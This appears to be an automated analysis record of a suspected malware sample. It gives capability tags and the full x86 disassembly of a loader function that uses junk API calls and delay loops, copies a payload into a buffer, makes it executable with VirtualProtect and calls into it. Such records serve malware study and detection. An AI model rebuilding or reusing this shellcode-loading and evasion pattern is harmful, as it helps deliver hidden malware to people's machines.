Function at 0x405560
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x874
mov eax, dword [0x44a004]
xor eax, esp
mov dword [esp + 0x870], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, 0x3661b338
mov edi, edi
cmp dword [0x4548f4], 0xc31
jne 0x4055b2
push str.Yagufesego_kopayovibaj_jobosexemixexej_kuxowif_delatutav
push str.Ziboli_ral_copanukivak
push str.Dewolefohisuj_javirerex
push str.Wetom
call esi
call edi
dec ebx
jne 0x405590
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor esi, esi
nop
cmp esi, 0x562d05
jne 0x4055d2
mov eax, dword [0x44b924]
mov dword [0x454c7c], eax
cmp dword [0x4548f4], 0x3c
jne 0x4055de
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x4055c0
cmp dword [0x4548f4], 0x7c
jne 0x405698
push ebx
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
xor eax, eax
lea edx, [esp + 0x7c]
push edx
push str.Panagafotofado
mov dword [esp + 0x56], eax
mov dword [esp + 0x5a], eax
mov dword [esp + 0x5e], eax
mov word [esp + 0x62], ax
lea eax, [esp + 0x54]
push eax
push ebx
xor ecx, ecx
push ebx
mov word [esp + 0x60], cx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
cmp dword [0x4548f4], 0x2d
jne 0x405698
push ebx
push ebx
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
cmp dword [0x4548f4], 0x110a
jne 0x405701
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x7c]
push ecx
push ebx
mov dword [0x4548e8], ebx
mov dword [0x4548ec], ebx
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.Ridimikadufuji_voka
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040104f
add esp, 0x18
call fcn.004052e0
xor esi, esi
cmp dword [0x4548f4], ebx
jbe 0x40575d
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
jmp 0x405720
mov edx, dword [0x454c7c]
mov dword [esp + 0x10], edx
mov eax, 0xa231
add dword [esp + 0x10], eax
cmp dword [0x4548f4], 0x5ab
mov eax, dword [esp + 0x10]
mov cl, byte [eax + esi]
mov edx, dword [0x454618]
mov byte [edx + esi], cl
jne 0x405754
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x4548f4]
jb 0x405720
call fcn.00405310
mov ecx, dword [0x4548f4]
mov edx, dword [0x454618]
lea eax, [esp + 0x1c]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004054f0
call fcn.00405300
mov ebx, dword [esp + 0x28]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
push 0
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x4057ab
cmp ebx, 0xf5bed7
jne 0x4057b4
inc esi
cmp esi, 0x1ece7a52
jl 0x405793
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
xor esi, esi
cmp esi, 0x12e6c3
jne 0x4057cf
call fcn.004052d0
cmp dword [0x4548f4], 0x3dc
mov dword [0x45461c], 0x8e46a6f0
jne 0x405801
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push str.Cekanexiy_nobisabona_yiv
push eax
mov dword [esp + 0x24], eax
call edi
lea ecx, [esp + 0x14]
push ecx
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x4057c2
mov ecx, dword [esp + 0x87c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret